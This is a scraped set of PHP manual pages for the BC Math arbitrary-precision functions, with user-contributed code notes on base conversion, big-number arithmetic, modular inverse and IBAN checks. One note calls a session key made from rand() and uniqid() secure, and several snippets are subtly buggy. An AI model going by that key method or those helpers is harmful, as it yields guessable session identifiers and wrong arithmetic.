In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com 03-Jun-2004 09:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
    $filename = "/dev/urandom";
    $handle = fopen($filename, "r");
    $bin_urand = fread($handle, ceil($size/8.0));
    fclose($handle);
    $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
    $binmask = pack("H*", $mask);
    $binrand = $binmask & $bin_urand;
    $hexnumber = unpack("H*", $binrand);
    $hexnumber = $hexnumber[''];
    $numlength = strlen($hexnumber);
    $decnumber = 0;
    for($x = 1; $x <= $numlength; $x++)
    {
        $place = $numlength - $x;
        $operand = hexdec(substr($hexnumber,$place,1));
        $exponent = bcpow(16,$x-1);
        $decValue = bcmul($operand, $exponent);
        $decnumber = bcadd($decValue, $decnumber);
    }
    return $decnumber;
}
?>
pulstar at mail dot com 15-Apr-2003 05:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net 01-Mar-2003 10:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec   = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power   = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com 20-Sep-2002 07:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com 19-Sep-2002 08:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    $value="";
    if(!$digits) $digits=digits($base);
    while($dec>$base-1) {
        $rest=bcmod($dec,$base);
        $dec=bcdiv($dec,$base);
        $value=$digits[$rest].$value;
    }
    $value=$digits[intval($dec)].$value;
    return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    if($base<37) $value=strtolower($value);
    if(!$digits) $digits=digits($base);
    $size=strlen($value);
    $dec="0";
    for($loop=0;$loop<$size;$loop++) {
        $element=strpos($digits,$value[$loop]);
        $power=bcpow($base,$size-$loop-1);
        $dec=bcadd($dec,bcmul($element,$power));
    }
    return (string) $dec;
}

function digits($base) {
    if($base>64) {
        $digits="";
        for($loop=0;$loop<256;$loop++) {
            $digits.=chr($loop);
        }
    } else {
        $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
        $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
    }
    $digits=substr($digits,0,$base);
    return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.
benjcarson at digitaljunkies dot ca 07-Jul-2002 05:00
In addition to my last note, here are  a quick pair of functions to convert exponential notation values into bcmath-style number strings:

// exp2int converts numbers in the
// form "1.5e4" into strings
function exp2int($exp) {
  list($mantissa, $exponent) = spliti("e", $exp);
  list($int, $dec) = split("\.", $mantissa);
  bcscale ($dec);
  return bcmul($mantissa, bcpow("10", $exponent));
}

// float2exp converts floats into exponential notation
function float2exp($num) {

  if (0 == $num) { return "0E1";}
  list($int, $dec) = split("\.", $num);

  // Extract sign
  if ($int[0] == "+" || $int[0] == "-") {
    $sign = substr($int, 0,1);
    $int = substr($int, 1);
  }

  if (strlen($int) <= 1) {   // abs($num) is less than 1
    $i=0;
    for ($i=0; $dec[$i]=='0' && $i < strlen($dec); $i++);
      $exp = -$i-1;
      $mantissa = substr($dec,$i,1).".".substr($dec,$i+1);
    } else { // abs($num) is greater than 1
    $i=0;
    for ($i=0; $int[$i]=='0' && $i < strlen($int); $i++);
      $exp = strlen($int)-1 - $i;
      $mantissa = substr($int,$i,1).".".substr($int,$i+1).$dec;
    }

  return ($sign . $mantissa . "E" . $exp);
}
benjcarson at digitaljunkies ca 07-Jul-2002 04:17
Note that bcmath doesn't seem to handle numbers in exponential notation (i.e. "1e4"), although PHP considers such a value a number.

example:

$exp1 = "1E5";
$exp2 = "2E4";
$ans1 = bcadd($exp1, $exp2, 3);
$ans2 = $exp1 + exp2;
echo("bcadd: $exp1 + $exp2 = $ans1");
echo("php: $exp1 + $exp2 = $ans2");

// Output:
bcadd: 1E5 + 2E4 = 0.000
php: 1E5 + 2E4 = 120000

Just a gotcha if you're using passing PHP numbers into bcmath functions...
Predefined Constants
bcadd
BC Math


Add two arbitrary precision numbers

BC Math Functions
bccomp
BC Math Functions
PHP Manual

bcadd

(PHP 4, PHP 5)

bcadd — Add two arbitrary precision numbers

Description

string bcadd ( string $left_operand , string $right_operand [, int $scale ] )

Sums left_operand and right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

The sum of the two operands, as a string.

Examples

Example #1 bcadd() example

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b);     // 6
echo bcadd($a, $b, 4);  // 6.2340

?>

See Also

  • bcsub() - Subtract one arbitrary precision number from another

User Contributed Notes

Nitrogen 15-Jul-2009 09:16
I made this to add an unlimited size of numbers together..

This could be useful for those without the BCMath extension.

It allows decimals, and optional $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to show the correct number of decimals.

<?php

function Add($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // this is where the result is stored
  $Output=array();

  // remove ending zeroes from decimals and remove point
  $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
  $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

  // calculate the longest length of decimals
  $DLen=max(strlen($Dec1),strlen($Dec2));

  // if $Scale is null, automatically set it to the amount of decimal places for accuracy
  if($Scale==null) $Scale=$DLen;

  // remove leading zeroes and reverse the whole numbers, then append padded decimals on the end
  $Num1=strrev(ltrim($Tmp1[1],'0').str_pad($Dec1,$DLen,'0'));
  $Num2=strrev(ltrim($Tmp2[1],'0').str_pad($Dec2,$DLen,'0'));

  // calculate the longest length we need to process
  $MLen=max(strlen($Num1),strlen($Num2));

  // pad the two numbers so they are of equal length (both equal to $MLen)
  $Num1=str_pad($Num1,$MLen,'0');
  $Num2=str_pad($Num2,$MLen,'0');

  // process each digit, keep the ones, carry the tens (remainders)
  for($i=0;$i<$MLen;$i++) {
    $Sum=((int)$Num1{$i}+(int)$Num2{$i});
    if(isset($Output[$i])) $Sum+=$Output[$i];
    $Output[$i]=$Sum%10;
    if($Sum>9) $Output[$i+1]=1;
  }

  // convert the array to string and reverse it
  $Output=strrev(implode($Output));

  // substring the decimal digits from the result, pad if necessary (if $Scale > amount of actual decimals)
  // next, since actual zero values can cause a problem with the substring values, if so, just simply give '0'
  // next, append the decimal value, if $Scale is defined, and return result
  $Decimal=str_pad(substr($Output,-$DLen,$Scale),$Scale,'0');
  $Output=(($MLen-$DLen<1)?'0':substr($Output,0,-$DLen));
  $Output.=(($Scale>0)?".{$Decimal}":'');
  return($Output);
}

$A="5650175242.508133742";
$B="308437806.831153821478770";

printf("  Add(%s,%s);\r\n// %s\r\n\r\n",$A,$B,  Add($A,$B));
printf("BCAdd(%s,%s);\r\n// %s\r\n\r\n",$A,$B,BCAdd($A,$B));

/*
  This will produce the following..
    Add(5650175242.508133742,308437806.831153821478770);
  // 5958613049.33928756347877

  BCAdd(5650175242.508133742,308437806.831153821478770);
  // 5958613049
*/

?>

It was a fun experience making, and thought I'd share it.
Enjoy,
Nitrogen.
Bo Anders Svensson 23-May-2005 05:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000
BC Math Functions
bccomp
BC Math Functions


Compare two arbitrary precision numbers

bcadd
bcdiv
BC Math Functions
PHP Manual

bccomp

(PHP 4, PHP 5)

bccomp — Compare two arbitrary precision numbers

Description

int bccomp ( string $left_operand , string $right_operand [, int $scale ] )

Compares the left_operand to the right_operand and returns the result as an integer.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

The optional scale parameter is used to set the number of digits after the decimal place which will be used in the comparison.

Return Values

Returns 0 if the two operands are equal, 1 if the left_operand is larger than the right_operand, -1 otherwise.

Examples

Example #1 bccomp() example

<?php

echo bccomp('1', '2') . "\n";   // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

User Contributed Notes

Robert Lozyniak 16-Feb-2010 10:04
Beware that negative zero does not compare equal to positive zero.
Nitrogen 21-Jul-2009 06:23
I made this to compare an unlimited size of numbers..

This could be useful for those without the BCMath extension.

It allows decimals, and option $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to the correct number of decimals to compare.

<?php

function Comp($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // remove leading zeroes from whole numbers
  $Num1=ltrim($Tmp1[1],'0');
  $Num2=ltrim($Tmp2[1],'0');

  // first, we can just check the lengths of the numbers, this can help save processing time
  // if $Num1 is longer than $Num2, return 1.. vice versa with the next step.
  if(strlen($Num1)>strlen($Num2)) return(1);
  else {
    if(strlen($Num1)<strlen($Num2)) return(-1);

    // if the two numbers are of equal length, we check digit-by-digit
    else {

      // remove ending zeroes from decimals and remove point
      $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
      $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

      // if the user defined $Scale, then make sure we use that only
      if($Scale!=null) {
        $Dec1=substr($Dec1,0,$Scale);
        $Dec2=substr($Dec2,0,$Scale);
      }

      // calculate the longest length of decimals
      $DLen=max(strlen($Dec1),strlen($Dec2));

      // append the padded decimals onto the end of the whole numbers
      $Num1.=str_pad($Dec1,$DLen,'0');
      $Num2.=str_pad($Dec2,$DLen,'0');

      // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than)
      for($i=0;$i<strlen($Num1);$i++) {
        if((int)$Num1{$i}>(int)$Num2{$i}) return(1);
        else
          if((int)$Num1{$i}<(int)$Num2{$i}) return(-1);
      }

      // if the two numbers have no difference (they're the same).. return 0
      return(0);
    }
  }
}

$A="10.50002";
$B="10.50001";

printf("  Comp(%s,%s); // %s\r\n",$A,$B,  Comp($A,$B));
printf("BCComp(%s,%s); // %s\r\n",$A,$B,BCComp($A,$B));

/*
    Comp(10.50002,10.50001); // 1
  BCComp(10.50002,10.50001); // 0 (BCComp has a default decimal scale of 0, unless specified)
*/

?>

I tried to make this behave like BCComp..

The only difference being mine will compare the decimals by default.. BCComp won't..
.. unless, of course, you specify the amount of decimals to include in the process.
Enjoy,
Nitrogen.
m dot kaczanowski at alianet dot pl 11-Mar-2009 06:35
Improvement of functions bcmax() and bcmin() originaly written by frank at booksku dot com

<?php

function bcmax() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $max = $args[0];
  foreach($args as $value) {
    if (bccomp($value, $max)==1) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $min = $args[0];
  foreach($args as $value) {
    if (bccomp($min, $value)==1) {
      $min = $value;
    }
  }
  return $min;
}
?>
frank at booksku dot com 04-Oct-2005 03:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
    if ($max == null) {
      $max = $value;
    } else if (bccomp($max, $value) < 0) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
    if ($min == null) {
      $min = $value;
    } else if (bccomp($min, $value) > 0) {
      $min = $value;
    }
  }
  return $min;
}
?>
11-Feb-2005 02:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>
bcadd
bcdiv
BC Math Functions


Divide two arbitrary precision numbers

bccomp
bcmod
BC Math Functions
PHP Manual

bcdiv

(PHP 4, PHP 5)

bcdiv — Divide two arbitrary precision numbers

Description

string bcdiv ( string $left_operand , string $right_operand [, int $scale ] )

Divides the left_operand by the right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result of the division as a string, or NULL if right_operand is 0.

Examples

Example #1 bcdiv() example

<?php

echo bcdiv('105', '6.55957', 3);  // 16.007

?>

See Also

  • bcmul() - Multiply two arbitrary precision number

User Contributed Notes

Anonymous 26-Sep-2010 10:05
The custom bcdiv function listed at the top of this page produces very different results from bcdiv, as it rounds instead of truncating the result. Consider the following:

<?php

function bcdiv_cust( $first, $second, $scale = 0 )
{
    $res = $first / $second;
    return round( $res, $scale );
}

echo bcdiv('1','2','0') . " vs. " bcdiv_cust('1','2','0');  // prints '0 vs. 1'

?>
no at answer dot com 05-Jul-2008 01:06
If you don't have bcmath installed and you need to use bcdiv() with a defined precision / scale you may need this function:

if( !function_exists( "bcdiv" ) )
{
    function bcdiv( $first, $second, $scale = 0 )
    {
        $res = $first / $second;
        return round( $res, $scale );
    }
}
MM 18-Jan-2008 03:29
Perhaps some one can find useful this function to compute the modular inverse of a integer (extended euclidean algorithm):

  function invmod($a,$b) {
    $n=$b;
    $x=0; $lx=1; $y=1; $ly=0;
    while ($b) {
      $t=$b;
      $q=bcdiv($a,$b,0);
      $b=bcmod($a,$b);
      $a=$t;
      $t=$x; $x=bcsub($lx,bcmod(bcmul($q,$x),$n)); $lx=$t;
      $t=$y; $y=bcsub($ly,bcmod(bcmul($q,$y),$n)); $ly=$t;
    }
    if (bccomp($lx,0) == -1)
      $lx=bcadd($lx,$n);
    return $lx;
  }

  // verify

  $n="2447995268898324993537772139997802321";
  $t="64941057316178801556773346239351236811";
  $m="123456789";
  $i=invmod($t,$n);
  // (t*m)*inv(t) is m
  echo bcmod(bcmul(bcmod(bcmul($t,$m),$n),$i),$n) == $m;
Gautam 29-Aug-2007 07:56
<?php
 //converting in to required precision of decimal points
$result= bcdiv(89.99999999997,2.57865741235478,2);
 echo "$result";  // 34.90 result with 2 decimal points
?>
cristianDOTzuddas]NOSPAM[gmailDOTcom 24-Jul-2005 05:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
    if (strlen($dec_str)>0) {
        $bin_str = '';
        do {
            if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
                $bin_str .= '0';
            else
                $bin_str .= '1';

            $dec_str = bcdiv($dec_str, '2');
        } while ($dec_str!='0');

        return strrev($bin_str);
    }
    else
        return null;
}
?>

-----
Cristian
www.CodeFlower.com
bccomp
bcmod
BC Math Functions


Get modulus of an arbitrary precision number

bcdiv
bcmul
BC Math Functions
PHP Manual

bcmod

(PHP 4, PHP 5)

bcmod — Get modulus of an arbitrary precision number

Description

string bcmod ( string $left_operand , string $modulus )

Get the modulus of the left_operand using modulus.

Parameters

left_operand

The left operand, as a string.

modulus

The modulus, as a string.

Return Values

Returns the modulus as a string, or NULL if modulus is 0.

Examples

Example #1 bcmod() example

<?php
echo bcmod('4', '2'); // 0
echo bcmod('2', '4'); // 2
?>

See Also

  • bcdiv() - Divide two arbitrary precision numbers

User Contributed Notes

ArleCamille (okw1003 at gmail dot com) 16-Nov-2009 04:47
GCD made in Euclidian algorithm:
<?php
function bcgcd($a, $b)
{
    if($a < $b)
    {
        $t = $b;
        $b = $a;
        $a = $t;
        unset($t);
    }
    if(bcmod($a, $b) == "0") return $b;
    else return bcgcd($b, bcmod($a, $b));
}
?>
hope this helps.
mcuelenaere at gmail dot com 21-Dec-2007 01:00
Heres an useful IBAN generate function:

<?php
function controleer_iban($iban) {
    $iban = str_replace(array(" ", "  ", "   ", "\t"), "", $iban);
    $iban = strtoupper(str_replace(" ", "", $iban));
    if(strlen($iban)>34)
        return false;
    $acceptabel = "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0";
    $acceptabel = explode(" ", $acceptabel);
    for($i = 0; $i<strlen($iban); $i++) {
        if(in_array(substr($iban, $i, 1), $acceptabel) === false)
            return false;
    }
    $alfa = "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z";
    $alfa = explode(" ", $alfa);
    for($i = 1; $i<27; $i++) {
        $alfa_replace[] = $i+9;
    }
    $controlegetal = str_replace($alfa, $alfa_replace, substr($iban, 4, strlen($iban)-4).substr($iban, 0, 2)."00");
    $controlegetal = 98 - (int)bcmod($controlegetal,97);
    if((int)$controlegetal === (int)substr($iban, 2, 2))
        return true;
    else
        return false;
}
?>
sebas at stageprikbord dot nl 27-Mar-2007 06:53
function bc_is_even($int_str) {
  return (int)!($int_str & 1);
}

More resource efficient version of 'bc_is_even'.
lauris at night dot lt 23-Dec-2003 08:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
    // how many numbers to take at once? carefull not to exceed (int)
    $take = 5;
    $mod = '';

    do
    {
        $a = (int)$mod.substr( $x, 0, $take );
        $x = substr( $x, $take );
        $mod = $a % $y;
    }
    while ( strlen($x) );

    return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>
bcdiv
bcmul
BC Math Functions


Multiply two arbitrary precision number

bcmod
bcpow
BC Math Functions
PHP Manual

bcmul

(PHP 4, PHP 5)

bcmul — Multiply two arbitrary precision number

Description

string bcmul ( string $left_operand , string $right_operand [, int $scale ] )

Multiply the left_operand by the right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string.

Examples

Example #1 bcmul() example

<?php
echo bcmul('1.34747474747', '35', 3); // 47.161
echo bcmul('2', '4'); // 8
?>

See Also

  • bcdiv() - Divide two arbitrary precision numbers

User Contributed Notes

admin at spamhere dot sinfocol dot org 03-Jan-2011 10:17
Well, I have a little problem implementing Blake Hash in my server because it is not a x64 server machine. I made a little function that use the powerfull of BC library to do the bitwise operation Shift.

<?php
echo 'Left Shift test<br />';
bprint('1', decbin(1));
bprint('1 << 32 (Fail)', decbin(1 << 32)); //Fail, operation not succesfull in 32-bit machine
bprint('shiftleft(1, 32) (Success)', dec2bin(shiftleft('1', '32'))); //decbin fails, so we use personalized function, success

echo '<br />';
echo 'Right Shift test<br />';
bprint('9223372036854775808', dec2bin('9223372036854775808'));
bprint('9223372036854775808 >> 63 (Fail)', decbin(9223372036854775808 >> 63));
bprint('rightshift(9223372036854775808, 63) (Success)', decbin(rightshift('9223372036854775808', '63')));

function shiftleft($num, $bits) {
    return bcmul($num, bcpow('2', $bits));
}

function rightshift($num, $bits) {
    return bcdiv($num, bcpow('2', $bits));
}

function bprint($title, $content) {
    echo $title . '<br />' . str_pad($content, 64, '0', STR_PAD_LEFT) . '<br />' . PHP_EOL;
}

//http://www.php.net/manual/en/function.decbin.php#99533
function dec2bin($dec) {
    // Better function for dec to bin. Support much bigger values, but doesn’t support signs
    for ($b = '', $r = $dec; $r >1;) {
        $n = floor($r / 2);
        $b = ($r - $n * 2) . $b;
        $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r % 2) . $b;
}
?>
Nitrogen 08-Jul-2009 05:55
I made this to multiply an unlimited size of integers together (meaning no decimals)..
This could be useful for those without the BCMath extension.

<?php

function Mul($Num1='0',$Num2='0') {
  // check if they're both plain numbers
  if(!preg_match("/^\d+$/",$Num1)||!preg_match("/^\d+$/",$Num2)) return(0);

  // remove zeroes from beginning of numbers
  for($i=0;$i<strlen($Num1);$i++) if(@$Num1{$i}!='0') {$Num1=substr($Num1,$i);break;}
  for($i=0;$i<strlen($Num2);$i++) if(@$Num2{$i}!='0') {$Num2=substr($Num2,$i);break;}

  // get both number lengths
  $Len1=strlen($Num1);
  $Len2=strlen($Num2);

  // $Rema is for storing the calculated numbers and $Rema2 is for carrying the remainders
  $Rema=$Rema2=array();

  // we start by making a $Len1 by $Len2 table (array)
  for($y=$i=0;$y<$Len1;$y++)
    for($x=0;$x<$Len2;$x++)
      // we use the classic lattice method for calculating the multiplication..
      // this will multiply each number in $Num1 with each number in $Num2 and store it accordingly
      @$Rema[$i++%$Len2].=sprintf('%02d',(int)$Num1{$y}*(int)$Num2{$x});

  // cycle through each stored number
  for($y=0;$y<$Len2;$y++)
    for($x=0;$x<$Len1*2;$x++)
      // add up the numbers in the diagonal fashion the lattice method uses
      @$Rema2[Floor(($x-1)/2)+1+$y]+=(int)$Rema[$y]{$x};

  // reverse the results around
  $Rema2=array_reverse($Rema2);

  // cycle through all the results again
  for($i=0;$i<count($Rema2);$i++) {
    // reverse this item, split, keep the first digit, spread the other digits down the array
    $Rema3=str_split(strrev($Rema2[$i]));
    for($o=0;$o<count($Rema3);$o++)
      if($o==0) @$Rema2[$i+$o]=$Rema3[$o];
      else @$Rema2[$i+$o]+=$Rema3[$o];
  }
  // implode $Rema2 so it's a string and reverse it, this is the result!
  $Rema2=strrev(implode($Rema2));

  // just to make sure, we delete the zeros from the beginning of the result and return
  while(strlen($Rema2)>1&&$Rema2{0}=='0') $Rema2=substr($Rema2,1);

  return($Rema2);
}

$A='5650175242508133742';
$B='2361030539975818701734615584174625';

printf("  Mul(%s,%s); // %s\r\n",$A,$B,  Mul($A,$B));
printf("BCMul(%s,%s); // %s\r\n",$A,$B,BCMul($A,$B)); // build-in function

/*
  This will print something similar to this..
    Mul(5650175242508133742,2361030539975818701734615584174625);
  BCMul(5650175242508133742,2361030539975818701734615584174625);

  both of which should be followed by the answer:
  13340236303776981390475700774516825287352418182696750
*/

?>

It was a fun experience making.. even though this took me longer than the BCAdd alternative I did..
Memory allocation might be an issue for rediculously larger numbers though.. if someone wants to benchmark the performance of my function; feel free.
Enjoy,
Nitrogen.
ju(...) 02-Apr-2008 12:00
Except that with xpheas method, you lose all the benefits of arbitrary precision as the * operator only works on int and float and those are restricted in length (See int ant float types for more information).
xpheas (at) gmail . com 14-Jun-2007 08:13
if you have compiled php width "--disable-bcmath", you can use this:

<?php
  function bcmul($_ro, $_lo, $_scale=0)
  {
    return round($_ro*$_lo, $_scale);
  }
?>
bcmod
bcpow
BC Math Functions


Raise an arbitrary precision number to another

bcmul
bcpowmod
BC Math Functions
PHP Manual

bcpow

(PHP 4, PHP 5)

bcpow — Raise an arbitrary precision number to another

Description

string bcpow ( string $left_operand , string $right_operand [, int $scale ] )

Raise left_operand to the power right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string.

Examples

Example #1 bcpow() example

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

Notes

Note:

bcpow() may return a result with fewer digits after the decimal point than the scale parameter would indicate. This only occurs when the result doesn't require all of the precision allowed by the scale. For example:

Example #2 bcpow() scale example

<?php
echo bcpow('5', '2', 2);     // prints "25", not "25.00"
?>

See Also

  • bcpowmod() - Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcsqrt() - Get the square root of an arbitrary precision number

User Contributed Notes

thomas at tgohome dot com 13-Jul-2009 12:19
<?php

bcscale(100);

/*
 * Computes the natural logarithm using a series.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iter = 10)
{
    $result = "0.0";

    for($i = 0; $i < $iter; $i++)
    {
        $pow = (1 + (2 * $i));
        $mul = bcdiv("1.0", $pow);
        $fraction = bcmul($mul, bcpow(bcsub($a, "1.0") / bcadd($a, "1.0"), $pow));
        $result = bcadd($fraction, $result);
    }

    return bcmul("2.0", $result);
}

/*
 * Computes the base2 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog2($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("2", $iter));
}

/*
 * Computes the base10 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog10($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("10", $iter));
}

?>
11-Feb-2005 01:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
    $awnser = "1";
    while ($power) {
        $awnser = bcmul($awnser, $num, 100);
        $power = bcsub($power, "1");
    }
    return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
Michael Bailey (jinxidoru at byu dot net) 09-Aug-2004 05:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com
bcmul
bcpowmod
BC Math Functions


Raise an arbitrary precision number to another, reduced by a specified modulus

bcpow
bcscale
BC Math Functions
PHP Manual

bcpowmod

(PHP 5)

bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus

Description

string bcpowmod ( string $left_operand , string $right_operand , string $modulus [, int $scale ] )

Use the fast-exponentiation method to raise left_operand to the power right_operand with respect to the modulus modulus.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

modulus

The modulus, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string, or NULL if modulus is 0.

Notes

Note:

Because this method uses the modulus operation, numbers which are not positive integers may give unexpected results.

Examples

The following two statements are functionally identical. The bcpowmod() version however, executes in less time and can accept larger parameters.

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a and $b are equal to each other.

?>

See Also

  • bcpow() - Raise an arbitrary precision number to another
  • bcmod() - Get modulus of an arbitrary precision number

User Contributed Notes

laysoft at gmail dot com 30-Jan-2007 05:34
I found a better way to emulate bcpowmod on PHP 4, which works with very big numbers too:

function powmod($m,$e,$n) {
    if (intval(PHP_VERSION)>4) {
        return(bcpowmod($m,$e,$n));
    } else {
        $r="";
        while ($e!="0") {
            $t=bcmod($e,"4096");
            $r=substr("000000000000".decbin(intval($t)),-12).$r;
            $e=bcdiv($e,"4096");
        }
        $r=preg_replace("!^0+!","",$r);
        if ($r=="") $r="0";
        $m=bcmod($m,$n);
        $erb=strrev($r);
        $q="1";
        $a[0]=$m;
        for ($i=1;$i<strlen($erb);$i++) {
            $a[$i]=bcmod(bcmul($a[$i-1],$a[$i-1]),$n);
        }
